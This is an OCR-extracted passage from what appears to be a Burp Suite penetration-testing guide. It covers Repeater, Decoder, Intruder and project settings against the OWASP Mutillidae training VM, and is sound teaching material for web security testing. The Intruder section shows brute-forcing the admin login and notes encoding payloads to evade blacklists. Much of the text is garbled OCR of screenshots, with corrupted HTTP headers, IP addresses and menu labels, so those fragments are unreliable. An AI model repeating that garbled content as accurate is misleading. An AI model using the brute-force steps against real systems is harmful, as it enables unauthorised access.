Aeeept: text/htnl,application/xhtumltiml,application/zul; q=0) Doanactive scan
Aecept-langquage: en-US,en;q=0.5

. . Do & passive scan
Aecept-Encoding: gzip, deflate F
Referer: http://192.168.56.101/ Send to lniruder Crl
Comection: close Send to Repeater (iR
Upgrade-Insecure-Recquests: 1
o 0 Send o Sequencer

Send to Comparer




2. Switch over to the Repeater tab. Note the HT'TP Request is ready for the
tester to tweak parameters, and then send the request to the application via
the Go button.

Note the search boxes at the bottom of each panel:

’rmlmlmlsmw]mur]m]m[mm]

= IR

Request

I™ram

GET /mutillidae/ HITP/L.1

Host: 192 1&g 5&.101

User-Agent: Mozilla/5.0 (Windows NT 10.0; WOWE4d) AppleWebKit/537.3¢ (FHTHL, like
becko) Chrome/eZ.0.3202.9 Safari/537.36

Accept: text/htal application/thtmltiml application/iml;qe0.5, */*;qu0.8
Accept-Language: en-US, en;q=0.5

Accept-Encoding: gzip, deflate

Referer: http://150.1e8.56.101/

Connéction: close

Upgrade-Insecure-Requests: 1

We will use Repeater quite a bit throughout this book. This chapter is just
an introduction to the Repeater and to understand its purpose.



Decoding with Decoder

Burp Decoder is a tool that allows the tester to convert raw data into encoded
data or to take encoded data and convert it back to plain text. Decoder supports
several formats including URL encoding, HTML encoding, Base64 encoding,
binary code, hashed data, and others. Decoder also includes a built-in hex editor.



Getting ready

As a web penetration test progresses, a tester might happen upon an encoded
value. Burp eases the decoding process by allowing the tester to send the
encoded value to Decoder and try the various decoding functions available.



How to do it...

Let's try to decode the value of the session token PHPSESSID found in the
OWASP Mutillidae IT application. When a user initially browses to the URL
(http://<Your_VM_Assigned_IP_Address>/mutillidae/), that user will be
assigned a PHPSESSID cookie. The PHPSESSID value appears to be encrypted
and then wrapped in base 64 encoding. Using Decoder, we can unwrap the value.

1. Browse to the http://<Your_VM_Assigned_IP_Address>/mutillidae/
application.

2. Find the HTTP request you just generated from your browse within the
Proxy | HTTP history tab (shown in the next screenshot). Highlight the
PHPSESSID value, not the parameter name, right-click, and select Send to
Decoder:



Targel Imey X Spder [Scanner I Infruder ] Repester [ Sequencer [Dewder I Comparer [ Extender ] Project opfiong [ Uger options lAlens ]

Merest | KT sty I WetSockets sty I Optons }

Logging of out-0f-soope Proy traffic is disabled | Re-gnabie
Fite. Hiding C3S, image and general binary content
b Ao lehod | (RL Puns Bkl |Sohs | Lewh | WMEdpe | Ecersin | Toe
LA AL GE™ Tmutiidaefavascrotillueryquery halo.. N O
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4 hiipIn92168.56.101 GET  imuiidaefndex pho?page=login pho / A0 769 ATML ol
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Request | Response l

Jﬂaw ] Params [ Headers m

GET /wucillidae/indsy.php?page=Llogin. php HITP/L.1
Host: 192.168.56.101

User-Agent: Mozilla/5.0 (Vindows NT 10.0; WOWEd) AppleWebKit/537.3¢ (KHTML, like Gecko) Chrome/gZ.0.3202.9 Safari/837.3
Accept: teyt/htul, application/xhenltxul, application/xul;q=0.9,%/%;q=0.8

Accept-language: en-US,en;q=0.5

Aecept-Encoding: quip, deflate

Referer: http://192.168.56. 101 /mutillidae/

Cookie: shovhints=l; PHPSRSSID=juttplahdjstpqeh3didBodd] pr— : hpbb?, reduine; acqroupsvithpersist=nada
Comection: close Stnd o St
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3. In the Decoder tab, in the Decode as... drop-down as follows, select Base
64. Note the results are viewed in the Hex editor and are encrypted:
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i vt e | e e et g
—

mpﬂm i | I. 0ot )t ?
ks,
boodess.. |
Hish.. :
| Siman dacode

0 B oo B 6 % of & D B &£ woof &7 8 & Eténwlﬂﬂﬁqﬁwbi UTet O ke

C  IEAETEERE R B I EE i)
Deotees.. |7
. |




In this example, we cannot proceed any further. We can confirm the
value was, indeed, wrapped in Base 64. However, the value that is
unwrapped is encrypted. The purpose of this recipe is to show you how
you can use Decoder to manipulate encoded values.



Intruding with Intruder

The Burp Intruder allows a tester to brute-force or fuzz specific portions of an
HTTP message, using customized payloads.

To properly set up customized attacks in Intruder, a tester will need to use the
settings available in the four subtabs of Intruder:

’Target I Proxy I Spider I Scanner Repeater

——m

, Target ] Positions I Payloads I Options ]

7| Attack Target

Configure the details of the target for the attack.

Host: | 127.0.0.1
Port: |80

(] Use HTTPS



Getting ready

A tester may wish to fuzz or brute-force parameter values within a message.
Burp Intruder eases this process by providing various intruder attack styles,
payloads, and options.



How to do it...

1. Browse to the login screen of Mutillidae and attempt to log into the
application. For example, type a username of admin and a password of
adminpass.

2. Find the login attempt in the Proxy | HT'TP history tab. Your request
number (that is, the # sign on the left-hand side) will be different from the
one shown next. Select the message that captured your attempt to log in.

3. As the login attempt message is highlighted in the HTTP history table,
right-click the Request tab, and select Send to Intruder:



Target m Spider

Scanner ] Intruder I Repeater I Sequencer I Decoder [ Comparer ] Extender [ Project options I User options IAIerIs ]

ntercept ‘ HTTP history | WebSockets history ] Options ]

y fraffic 15 disabled

Re-enable

Fitter; Hiding C35, image and general binary content

# A Host Method | URL |Params | Edied | Stais  |Lengh | MMEype | Extension |
o Illll.l.ll TJL TOU T TUT OLT I'IJ\IIIIIH\M“IJUNHPJM.P LUT TEJUT oo \Fl P
4 hitp://192.168.56.101 GET ljquery.min.js 200 51733 script [
10 hitpo/1192.168.56.101 GET Imutilidae n 683 HTHL
1 hitp:/1192.168.56.101 GET Imutilidae/ 200 46164 HTML
14 hitp:/1192.168.56.101 GET Imutilidaefjavascriptbookmark-ste js 200 1541 script s
15 hitp1192.168.56.101 GET Imutilidaefjavascript/ddsmoothmenuljau... 200 ST seript s
16 hitp:/192.168.56.101 GET Imutilidae/javascript/ddsmoothmenu/dd... 200 916 script s
18 hitp://192.168.56.101 GET Imutilida/javascriptiQueryfjauery 200 268220 script s
19 hitp:/1192.168.56.101 GET Imutilidae/javascript/Query/jguery.balo... 200 118616 script s
20 hitp:l/192.168.56.101 GET Imutilidae/javascriptjQuery/colorbox/jg... 200 10323 script s
4 hiipJ192.168.56.101 GET Imutilidagfindex. php?page=login.ph vy 200 50769 HTML php
45 | hitp://192.168.56.101 POST  imutilidag/index php?page=login.php v 200 50792 HTML php
«C
|Remeal | Response
_[Raw I Paramg ] Headers | Hex
POST /mutillidae/index.php?page=login.php HITP/1.1
Host: 192.168.56.101 ‘
User-Agent: Mozilla/s.0 (Vindows NT 10.0; WOVE4) AppleWebKit/537.36 (v end10 Spder 02.9 Safari/$37.3¢
Accept: text/html,application/xhtmltxnl,application/xul;¢=0.9,%/*;q=0.8 Do an active scan
Acr:epc-[.ang'u?ge: enTUS,en;q=D.5 Do a passive scan
Aeeept-Encoding: gzip, deflate
Deferer: http://192.160. 56, 10L/mutillidae/index. phptpage=Llogin. php Send to intruder Clrel
Content-Type: application/x-winw-form-urlencoded Send to Repeater Cirl+R
Content-Length: €3 Send fo Sequencer
Cookie: showhints=l; PHPSESSID=juttplahljsrpqeh03didfodd?; acopendivids « acgroupswithpersist=
Connection: close Send to Comparer
Upgrade-Insecure-Requests: 1 Sand to Decoder
usernane=aduinépassvord=aduinpassélogin-php-subnit-hutton=Login Show fesponse i browser

Request in browser 3

Engagement tools 4

Copy URL

Copy a8 curl command
uJ w U U Type & search term Copy fo file




Target

The Intruder Target tab defines your targeted web application. These settings are
pre-populated for you by Burp:

I Positions T Payloads TDptiuns ]

¥d Attack Target

Configure the details of the target for the attack.

Host: | 192.168.56.101

Port: |80

(] Use HTTPS



Positions

The Positions tab identifies where the payload markers are to be defined within
the Payload | Positions section. For our purposes, click the Clear § (that is,
payload markers) from the right-hand side menu. Manually select the password
field by highlighting it with your cursor. Now click the Add § button on the
right-hand side menu. You should have the payload markers wrapping around
the password field as follows:
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Payloads

After the Positions tab is the Payloads tab. The Payloads tab identifies wordlist
values or numbers you wish to be inserted into the positions you identified on
the previous tab. There are several sections within the Payloads tab, including
Payload Sets, Payload Options, Payload Processing, and Payload Encoding.



Payload Sets

Payload Sets allows for the setting of the number of payloads as well as the
type. For our purposes, we will use the default settings for Sniper, allowing us to
use one payload with a Payload type of Simple list:

{ Target I Positions

EJ Payload Sets

-

You can define one or more payload sets. The number of payload se
can be customized in different ways.

Payload set: [1 'J Payload count: 0

Payload type: [Eirrple list 'J Reguest count: 0




Payload Options

In the Payload Options section, a tester can configure a custom payload or load
a preconfigured one from a file.

For our purposes, we will add one value to our payload. In the text box, type
admin, and then click the Add button to create our custom payload:

Payload Options [Simple list]

This payload type lets you configure a simple list of strings that are used as payloads.

Paste

Load ...

Elr

Remove 2

Clear

Enter a new item

Add from list ... v

—




Payload Processing

Payload Processing is useful when configuring special rules to be used while
Intruder substitutes payloads into payload marker positions. For this recipe, we
do not need any special payload-processing rules:

@ Payload Processing

You can define rules to perform various processing tasks on each payload before it is used.

| Add | Enabled | Ruk

Edit

Remove | 2

Ll

Down

—




Payload Encoding

Payload Encoding is applied to the payload value prior to sending the request to
the web server. Many web servers may block offensive payloads (for example,
<script> tags), so the encoding feature is a means to circumvent any blacklist
blocking.

For the purpose of this recipe, leave the default box checked:

This seting can be used o URL-ncods seleded characters Wi he el payoad. for saf ransmission wiin TR requests

) (RL-ncode st haacers JeesTs



Options

Finally, the Intruder | Options tab provides attack table customizations,
particularly related to responses captured such as specific error messages. There
are several sections within the Intruder | Options tab, including Request
Headers, Request Engine, Attack Results, Grep-Match, Grep-Extract, Grep
- Payloads, and Redirections:

' Target ] Proxy I Spider ] Scanner I Intruder

'1 ® I3 ® T“- # T]
f Target T Positions T Payloads I Options I




Request Headers

Request Headers offers configurations specific to header parameters while
Intruder is running attacks. For the purpose of this recipe, leave the default boxes
checked:

M These settings control whether Intruder updates the configured request headers during attacks.

(Y] Update Content-Length header

(] Set Connection: close



Request Engine

Request Engine should be modified if a tester wishes to create less noise on the
network while running Intruder. For example, a tester can throttle attack requests
using variable timings so they seem more random to network devices. This is
also the location for lowering the number of threads Intruder will run against the
target application.

For purpose of this recipe, leave the default setting as-is:

@ These settings control the engine used for making HTTP requests when performing attacks.

—

Number of threads: 5
Number of retries on network failure: T
Pause before retry (miliseconds): 2000
Throttle (miliseconds): @ Fixed ﬂ—
() Variable: start IU | step IBU[IUI]
Start time: ® Immediately
U [10 minutes

) Paused



Attack Results

After starting the attack, Intruder creates an attack table. The Attack Results
section offers some settings around what is captured within that table.

For the purpose of this recipe, leave the default settings as-is:

I_?I Attack Results I

|G These settings control what information is captured in attack results.

(f] Store requests

(] store responses

(Y] Make unmodified baseline request

|J Use denial-of-service mode (no results)

(] Store full payloads



Grep - Match

Grep - Match is a highly useful feature that, when enabled, creates additional
columns in the attack table results to quickly identify errors, exceptions, or even
a custom string within the response.

For the purpose of this recipe, leave the default settings as-is:

2]

@ The=e =ettings can be used to flag result items containing specified expressions.

—

arep - Match I

L] Flag result tems with responses matching these expressions:

Paste error |l
exception ™
Load ... illegal
invalid
Remove fail >
stack
Clear access
directory
file |
Add Enter a new ite

Match type: @ Simple string
(U Regex

(] case sensitive match
(Y] Exclude HTTP headers



Grep - Extract

Grep - Extract, when enabled, is another option for adding a column in the
attack table whose label is specific to a string found in the response. This option
differs from Grep - Match, since Grep - Extract values are taken from an actual
HTTP response, as opposed to an arbitrary string.

For the purpose of this recipe, leave the default settings as-is:

Grep - Extract

@ These settings can be used to extract useful information from responses into the attack results table.

| Extract the following tems from responses:

A

I

Edit

Remove

I

Duplicate >
Up
Down

Clear

B

Maximum capture length: | 100



Grep - Payloads

Grep - Payloads provides a tester the ability to add columns in the attack table
in which responses contain reflections of payloads.

For the purpose of this recipe, leave the default settings as-is:

w Grep - Payloads

@ These settings can be used to flag result tems containing reflections of the submitted payload.

L] Search responses for payload strings

L Case sensitive match

L] Exclude HTTP headers

/) Match against pre-URL-encoded payloads



Redirections

Redirections instructs Intruder to never, conditionally, or always follow
redirections. This feature is very useful, particularly when brute-forcing logins,
since a 302 redirect is generally an indication of entry.

For the purpose of this recipe, leave the default settings as-is:

@ Redirections

LEJ These =settings control how Burp handles redirections when performing attacks.

Follow redirections: @ Never
(_ On-site only
() In-scope only
U Always

|| Process cookies in redirections



Start attack button

Finally, we are ready to start Intruder. On either the Payloads or the Options
tabs, click the Start attack button to begin:

I Target [ Positions I Payloads ] Options I

Payload Sets |L Start attack |

When the attack has started, an attack results table will appear. This allows the
tester to review all requests using the payloads within the payload marker
positions. It also allows us to review of all responses and columns showing
Status, Error, Timeout, Length, and Comment.

&

For the purpose of this recipe, we note that the payload of admin in the password
parameter produced a status code of 302, which is a redirect. This means we
logged into the Mutillidae application successfully:



JM]T&MIM@]P@M]OM]

Fiter. Showing al tems

(=)

m;\mym \Stam \me \rm\Lengm \Comem
0 20 0 0 e
1 i 0 U U 59%

’,@ i Response

[ e

POST /mutillidae/index.php?page=login.php HITR/1.1

Host: 192.166.5. 101

User-Agent: Mozilla/S.0 (Windows NT 10.0; WOWE4) AppleWebKit/537.36 (KHTML, like Cecko) Chrome/e2.0,3202.¢
Safar1/37.3

Accept: text/html, application/shtultxnl,application/xul;q=0.9,%/*;q=0.8

Accept-Language: en-05, en;q=0.5

Accept-Encoding: qaip, deflate

Referer: http://197.168.56. 101 /uutillidae/index. php?page=login. php

Content-Type: application/s-wn-foru-utlencoded

Content-Length: 89

Cookie: showhines=l; PHPSESSID=juctplahijsrpqéh03didfodd?; acopendivids=svingset,jotto,phpbhZ,reduine;
acgroupswithpersist=nada

Connection. close

Opgrade-Insecure-Requests: 1

usernane=adninépassvord=aduintlogin-php-subnit-hutton=Login

b
'

U [i‘ u u Type & search tem

{ mafches

] ——




Looking at Response | Render within the attack table allows us to see how the
web application responded to our payload. As you can see, we are successfully

logged in as an admin:

‘g

Aftack Save Columns

_[ Results T Target T Positions I Payloads T Options ]

‘ Filter: Showing all items

Request 4 | Payload | Status Error | Timeout | Length | Comment
0 200 & 0  so0838
1 admin 302 a a 50935

Request | Response

[ Raw T Headers I Hex T HTML T Render ]

« OWASP Mutillidae II: Web Pwn in Mass Production ]

1 2.6.24  Security Level: 0 (Hosed) Hints: Enabled (1 - Script Kiddle) | Logged In Admin: admin

0t root?

| Login |
% Back Q Help Me!

; e

Finished [




Configuring, Spidering, Scanning,
and Reporting with Burp

In this chapter, we will cover the following recipes:

Establishing trust over HTTPS
Setting project options

Setting user options

Spidering with Spider
Scanning with Scanner
Reporting issues



Introduction

This chapter helps testers to calibrate Burp settings so they're less abusive
toward the target application. Tweaks within Spider and Scanner options can
assist with this issue. Likewise, penetration testers can find themselves in
interesting network situations when trying to reach a target. Thus, several tips
are included for testing sites running over HTTPS, or sites only accessible
through a SOCKS Proxy or a port forward. Such settings are available within
project and user options. Finally, Burp provides the functionality to generate
reports for issues.



Software tool requirements

In order to complete the recipes in this chapter, you will need the following:

OWASP Broken Web Applications (VM)

OWASP Mutillidae link

Burp Proxy Community or Professional (https:/portswigger.net/burp/)
Firefox browser configured to allow Burp to proxy traffic
(https://www.mozilla.org/en-US/firefox/new/)

The proxy configuration steps are covered in chapter



https://portswigger.net/burp/
https://www.mozilla.org/en-US/firefox/new/

Establishing trust over HT'TPS

Since most websites implement Hypertext Transport Protocol Secure
(HTTPS), it is beneficial to know how to enable Burp to communicate with such
sites. HTTPS is an encrypted tunnel running over Hypertext Transport
Protocol (HTTP).

The purpose of HTTPS is to encrypt traffic between the client browser and the
web application to prevent eavesdropping. However, as testers, we wish to allow
Burp to eavesdrop, since that is the point of using an intercepting proxy. Burp
provides a root, Certificate Authority (CA) signed certificate. This certificate
can be used to establish trust between Burp and the target web application.

By default, Burp's Proxy can generate a per-target CA certificate when
establishing an encrypted handshake with a target running over HTTPS. That
takes care of the Burp-to-web-application portion of the tunnel. We also need to
address the Browser-to-Burp portion.

In order to create a complete HTTPS tunnel connection between the client
browser, Burp, and the target application, the client will need to trust the
PortSwigger certificate as a trusted authority within the browser.



Getting ready

In situations requiring penetration testing with a website running over HTTPS, a
tester must import the PortSwigger CA certificate as a trusted authority within

their browser.



How to do it...

Ensure Burp is started and running and then execute the following steps:

1. Open the Firefox browser to the http://burp URL. You must type the URL
exactly as shown to reach this page. You should see the following screen in
your browser. Note the link on the right-hand side labeled CA Certificate.
Click the link to download the PortSwigger CA certificate:

-5 C @ ® http/burp  ++ O W o =

Burp Suite Professional CA Certicate

Welcome to Burp Suite Professional.

2. You will be presented with a dialog box prompting you to download the
PortSwigger CA certificate. The file is labeled cacert.der. Download the
file to a location on your hard drive.

3. In Firefox, open the Firefox menu. Click on Options.

4. Click Privacy & Security on the left-hand side, scroll down to
Certificates section. Click the View Certificates... button:


http://burp

¢ ¢ @ © firefox  about:preferences#privacy W I @

P Find in Options

‘n General Firefox for everyone. We always ask permission before receiving personal information.

Privacy Notice
v Allow Firefox to send technical and interaction data to Mozilla Learn more

q Search v Allow Firefox to install and run studies View Firefox Studies

Allow Firefox to send backlogged crash reports on your behalf Learn more
a Privacy & Security

&) Firefox Account Security

Deceptive Content and Dangerous Software Protection
v Block dangerous and deceptive content Learn more
v Block dangerous downloads

v Warn you about unwanted and uncommon software

Certificates

When a server requests your personal certificate

Select one automatically

@ Askyou every time

y Query OCSP responder servers to confirm the current validity of View Certificates...

certificates -
@ Firefox Support Security Devices...

5. Select the Authorities tab. Click Import, select the Burp CA certificate file
that you previously saved, and click Open:



Certificate Manager X

Your Certificates People Servers Authorities

You have certificates on file that identify these certificate authorities

Certificate Name Security Device 8
vAC Camerfirma S.A. "
Chambers of Commerce Root - 2008 Builtin Object Token
Global Chambersign Root - 2008 Builtin Object Token
vAC Camerfirma SA CIF AB2743287
Camerfirma Chambers of Commerce Root Builtin Object Token
Camerfirma Global Chambersign Root Builtin Object Token
vACCV
ACCVRAIZ1 Builtin Object Token
vActalis S.p.A./03358520967 v

View... Edlit Trust Export... Delete or Distrust...

OK

6. In the dialog box that pops up, check the Trust this CA to identify
websites box, and click OK. Click OK on the Certificate Manager dialog as
well:



You have been asked to trust a new Certificate Authority (CA).

Do you want to trust “PortSwigger CA” for the following purposes?

I Trust this CA to identify websites.
[ ] Trust this CA to identify email users.

Before trusting this CA for any purpose, you should examine its certificate and its policy and

procedures (if available).

View Examine CA certificate

OK

Cancel

Close all dialog boxes and restart Firefox. If installation was successful, you
should now be able to visit any HTTPS URL in your browser while proxying the

traffic through Burp without any security warnings.



Setting Project options

Project options allow a tester to save or set configurations specific to a project or
scoped target. There are multiple subtabs available under the Project options
tab, which include Connections, HTTP, SSL, Sessions, and Misc. Many of these
options are required for penetration testers when assessing specific targets,
which is why they are covered here.



How to do it...

In this book, we will not be using many of these features but it is still important
to know of their existence and understand their purpose:

[ Target T Proxy T Spider T Scanner T Intruder T Repeater T Sequencer T Decoder T Comparer T Extender T Project options I

J Connections T HTTP T S5L T Sessions T Misc ]




The Connections tab

Under the Connections tab, a tester has the following options:

¢ Platform Authentication: This provides an override button in the event the

@6

tester wants the Project options related to the type of authentication used
against the target application to supersede any authentication settings within
the user options.

After clicking the checkbox to override the user's options, the tester is
presented with a table enabling authentication options (for example,
Basic, NTLMv2, NTLMv1, and Digest) specific to the target application.
The destination host is commonly set to wildcard * should a tester find
the need to ever use this option:

These settings are configured within user options but can be overridden here for this specific project.

] Override user options

Thesze settings let you configure Burp to automatically carry cut platform authentication to destination web servers.
] Do platform authentication

L Add | Destination host i | Type Uszername | Domain | Domain hostname

Edit |

Remove |

L) Prompt for credentials on platform authentication failure

Upstream proxy servers: It provides an override button in the event the
tester wants the Project options related to upstream proxy servers used
against the target application to supersede any proxy settings contained
within the user options.

After clicking the checkbox to override the user's options, the tester is
presented with a table enabling upstream proxy options specific to this



project. Clicking the Add button displays a pop-up box called Add
upstream proxy rule. This rule is specific to the target application's
environment. This feature is very helpful if the target application's
environment is fronted with a web proxy requiring a different set of
credentials than the application login:

@ Enter the details of the upstream proxy rule. You can use wildcards to specify
destination hosts (* matches zero or more characters, 7 matches any
character except a dot). Leave the proxy host blank to connect directhy for the
specified destination host.

Destination host: Destination host, may include wildcards

Proxy host: Proxy host, leave blank to connect directly

Proxy port:

Authentication type: [ None . FJ

=zername:
Pazswaord:
Domain:

Domain hostname:

lu Ok J l Cancel J

e SOCKS Proxy: It provides an override button in the event the tester wishes



for Project options related to the SOCKS Proxy configuration used against
the target application to supersede any SOCKS Proxy settings within the
user options.

After clicking the checkbox to override user options, the tester is
presented with a form to configure a SOCKS Proxy specific to this
project. In some circumstances, web applications must be accessed over
an additional protocol that uses socket connections and authentication,
commonly referred to as SOCKS:



) NlASProny
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e Timeouts: It allows for timeout settings for different network scenarios,
such as failing to resolve a domain name:

EJ Timeouts

@ Thesze settings specify the timeouts to be used for various network tasks. Values are in seconds. Set an option to zero or leave it blank to never timeout that task.
Normal: 120
Open-ended responzes: 10
Domain name resolution: 300

Failed domain name resolution: | &0

e Hostname Resolution: It allows entries similar to a host file on a local
machine to override the Domain Name System (DNS) resolution:

@ Hostname Resolution

@ Add entries here to override your computer's DNS resolution.

Add Enabled | Hostname 4 | |P address

Edit

Hemove 4

¢ Out-of-Scope Requests: It provides rules to Burp regarding Out-of-Scope
Requests. Usually, the default setting of Use suite scope [defined in Target
tab] is most commonly used:

Out-of-Scope Requests

This feature can be used to prevent Burp from issuing any out-of-scope reguests, including those made via the proxy.

@) ()

(] Drop all out-of-scope reguests

i#® Use suite scope [defined in Target tab]

() Use custom scope



The HT'TP tab

Under the HTTP tab, a tester has the following options:

¢ Redirections: It provides rules for Burp to follow when redirections are
configured. Most commonly, the default settings are used here:

Ll' Redirections

=

LE,' These settings control the types of redirections that Burp will understand in situations where it is configured to follow redirections.

When following redirections, understand the following types:

[l 3xx status code with Location header
[l Refresh header

] Meta refresh tag

Ll JavaScript-driven

) Any status code with Location header

e Streaming Responses: It provides configurations related to responses that
stream indefinitely. Mostly, the default settings are used here:

(2) Streaming Responses

LEI These settings are used to specify URLs returning rezsponses that stream indefinitely. The Proxy will pass these rezponses straight through to the client. Repeater will update the

response panel as the response is received. Other tools will ignore streaming responses. In order to view the contents of streaming responses within Burp, you need to check
the "store streaming responses” option.

) Use advanced scope coentrol

[ Add J Enabled | Prefix

Edit

Remove »
Paste URL
Load ...

@ Store streaming responses (may result in large temp files)

[ Strip chunked encoding metadata in streaming responses

e Status 100 Responses: It provides a setting for Burp to handle HTTP status
code 100 responses. Most commonly, the default settings are used here:



Status 100 Responses

@ These settings control the way Burp handles HTTP responzes with status 100.

(] Understand 100 Continue responses

(] Remove 100 Continue headers



The SSL tab

Under the SSL tab, a tester has the following options:

e SSL Negotiations: When Burp communicates with a target application over

SSL, this option provides the ability to use preconfigured SSL ciphers or to
specify different ones:

CE

| These settings control the SSL pretecols and ciphers that Burp will use when performing SSL negotiation with upstream servers. If you are experiencing problems with SSL

negotiation, you can use these settings to reguest use of specific protocols or ciphers. Use these options with caution as misconfiguration may break all vour cutgoing SSL
connections.

@ Use the default protocols and ciphers of your Java installation

() Use custom protocols and ciphers

[ Automatically select compatible SSL parameters on negotiation failure
) Allew unzafe renegotiation (required for some client certificates)
| Disable S5L session resume

If a tester wishes to customize the ciphers, they will click the Use custom
protocols and ciphers radio button. A table appears allowing selection of

protocols and ciphers that Burp can use in the communication with the
target application:



@
)

SSL Negotiation

These settings control the SSL protocols and ciphers that Burp will use when performing SSL negotiation with upstream servers. If you are experiencing problems with SSL
negotiation, you can use these settings to request use of specific protocols or ciphers. Use these options with caution as misconfiguration may break all your outgoing SSL
connections.

() Use the default protocols and ciphers of your Java installation

@ Use custom protocols and ciphers

=g |

| Selectal | ‘ Enabled | Protocol
— | @& SSLv2Hello
Select none ‘ & SSLv3
\ @ TLSV1 [
| @  msvia >
‘ &) TLSv1.2
| selectan | Enabled | Cioher |
@ TLS_ECDHE_ECDSA_WITH_AES_256_CBC_SHA284 [a
Select none TLS_ECDHE_RSA_WITH_AES_256_CBC_SHA384
TLS_RSA_WITH_AES_256_CBC_SHAZS6 .

€]

“

@ TLS_ECDH_ECDSA_WITH_AES_256_CBC_SHA384
() TLS_ECDH_RSA_WITH_AES_256_CBC_SHA384
@ TLS_DHE_RSA_WITH_AES_256_CBC_SHA256

@ TLS_DHE_DSS_WITH_AES_255_CBC_SHA2S6

Al TS FCDHE _FCNSA WITH _AFS 258 CRC _SHA

SSL Negotiation Workarounds
[ Automatically select compatible SSL parameters on negotiation failure
[ Allow unsafe renegotiation (required for some client certificates)

¢ Client SSL Certificates: It provides an override button in the event the
tester must use a client-side certificate against the target application. This
option will supersede any client-side certificate configured within the user
options.

After clicking the checkbox to override user options, the tester is
presented with a table to configure a client-side certificate specific to this
project. You must have the private key to your client-side certificate in
order to successfully import it into Burp:

Client SSL Certificates
These settings are configured within user options but can be overridden here for this specific project.
& Owerride user options

These zettings let you configure the client SSL certificates that Burp will use when a destination host requests one. Burp will use the first certificate in the list whose host
configuration matches the name of the host being contacted. You can double-click on an item to view the full details of the certificate.

l Add J Enabled | Host | Type | Alias | Subject | Issuer | Key




?

e Server SSL Certificates: It provides a listing of server-side certificates. A
tester can double-click any of these line items to view the details of each

wn

certificate:

erver SSL Certificates

I\HJ This panel shows a list of the unigue S50 certificates received from web servers. Double-click an item to show the full details of the cerificate.

Host

| Name

| Issuer

safebrowsing googleapis.com
www.google.com

getpocket. cdn.mozilla.net
zafebrowsing googleapis.com
tiles.services.mozilla.com
incoming.telemetry.mozilla.org
shavar.zervices.mozilla.com

* googleapis.com
www.google.com

* cdn.mozilla.net

* googleapis.com
*services.mozilla.com

* telemetry. mozilla.org
shavar.services. mozila.com

Google Internet Authority G3
Google Internet Authority G3
DigiCert SHAZ Secure Server CA
Google Internet Authority G3
DigiCert SHAZ Secure Server CA
DigiCert SHAZ Secure Server CA
DigiCert SHAZ Secure Server CA




The Sessions tab

This book will cover recipes on all functionality contained within the Sessions
tab in Chapter 10, Working with Burp Macros and Extensions. A review of each
of these sections within the Sessions tab is provided here for completeness.

Under the Sessions tab, a tester has the following options:

¢ Session Handling Rules: It provides the ability to configure customized
session-handling rules while assessing a web application:

Session Handling Rules

ou can define session handling rules to make Burp perform specific actions when making HTTP reguests. Each rule has a defined scope (for particular tools, URLs or
parameters}, and can perform actions such as adding session cookies, logging in to the application, or checking session validity. Before each request is issued, Burp applies in
sequence each of the rules that are in-scope for the request.

@6

l Add J Enabled | Description | Tools

] Use cookies frem Burp's cookie jar Spider and Scanner
Edit

Remove
Duplicate
Up
Down

To moniter or troubleshoot the behavior of your session handling rules, you can use the sessions tracer to view in detail the results of processing each rule.

Open sessions tracer J

e Cookie Jar: It provides a listing of cookies, domains, paths, and
name/value pairs captured by Burp Proxy (by default):

Lil Cookie Jar
L_I Burp maintaing a cookie jar that stores all of the cookies issued by visited web sites. Session handling rules can use and update these cookies to maintain valid sessions with
*  applications that are being tested. “ou can use the settings below to control how Burp automatically updates the cookie jar based on traffic from particular tools.

Monitor the following tools' traffic to update the cookie jar:

& Proxy [J Scanner (] Repeatsr [ Spider
L Intruder || Sequencer |_| Extender

Open cookie jar |

e Macros: It provides the ability of a tester to script tasks previously
performed in order to automate activities while interacting with the target
application:



@ Macros

A macro is a sequence of one or more requests. You can use macros within session handling rules to perform tasks such as logging in to the application, obtaining anti-CSRF
tokens, etc.

I

Edit

P

L

g
g




The Misc tab

Under the Misc tab, a tester has the following options:

e Scheduled Tasks: It provides the ability to schedule an activity at specific
times:

9| Scheduled Tasks

These seftings Iet you specify tasks that Burp wil perform automaticall at defined tmes o itervaks

£=3

Add | Time Repeat | Task

Fdt

Remove 4

When the Add button is clicked, a pop-up reveals the types of activities
available for scheduling:



Ii-l Select the type of task you want to run.

&
L&
L
2
&
&
L&

Scan froma URL

Pause active scanning
Hesume active =canning
Spider froma URL
Pause spidering
Resume spidering

Save state

|_ Cancel J |_ Next J

e Burp Collaborator Server: It provides the ability to use a service external
to the target application for the purposes of discovering vulnerabilities in
the target application. This book will cover recipes related to Burp
Collaborator in Chapter 11, Implementing Advanced Topic Attacks. A
review of this section is provided here for completeness:

Burp Collaborator Server

Burp Collaborater is an external service that Burp can use to help discover many kinds of vulnerabilties. You can use the default Collaborator server provided by PortSwigger,
or deploy your own instance. “ou should read the full documentation for this feature and decide which option is most appropriate for you.

() Use the default Collaborator server

@ Don't uze Burp Collaberator

i) Use a private Collaborator server:

Server location:

Polling location (optional):

e Logging: It provides the ability to log all requests and responses or filter
the logging based on a particular tool. If selected, the user is prompted for a
file name and location to save the log file on the local machine:



Logging

?
@ These settings control logging of HTTP reguests and rezponses.

All tools: || Requests || Responses
Proxy: [ Requests [ Responzes
Spider; [ Requests [ | Responzes
Scanner; [ Requests [ | Responses
Intruder: || Reguests [ | Responses
Repeater: || Requests [ | Responses

Seqguencer: || Reguests [ Responses
Extender: || Requestz [ | Responses



Setting user options

User options allow a tester to save or set configurations specific to how they
want Burp to be configured upon startup. There are multiple sub-tabs available
under the user options tab, which include Connections, SSL, Display, and Misc.
For recipes in this book, we will not be using any user options. However, the
information is reviewed here for completeness.



How to do it...

Using Burp user options, let's configure your Burp UI in a manner best suited to
your penetration-testing needs. Each of the items under the Connections tab is
already covered in the Project options section of this chapter, hence, we will
directly start with the SSL tab.



The SSL tab

Under the SSL tab, a tester has the following options:

e Java SSL Options: It provides the ability the configure Java security
libraries used by Burp for SSL connections. The default values are most
commonly used:

2] Java 55L Options
@J These seftings can be used to enable certain SSL features that might be nesded to successfuly connect to some servers.

17 Enabe algorithms blocked by Java securty policy (requires restarl

L Dizable Java 3Nl extension (requires restart)

e Client SSL Certificate: This section is already covered in the Project
options section of this chapter.



The Display tab

Under the Display tab, a tester has the following options:

e User Interface: It provides the ability to modify the default font and size of
the Burp Ul itself:

[;?J User Interface

IEI These settings let vou control the appearance of Burp's user interface.

Font size: | 11 ‘FJ

Look and feel: | Nimbus v|

e HTTP Message Display: It provides the ability to modify the default font
and size used for all HTTP messages shown within the message editor:

EJ HTTP Message Display

lEJ Theze zettings let vou control how HTTP messages are displayed within the raw HTTP viewer/editor,

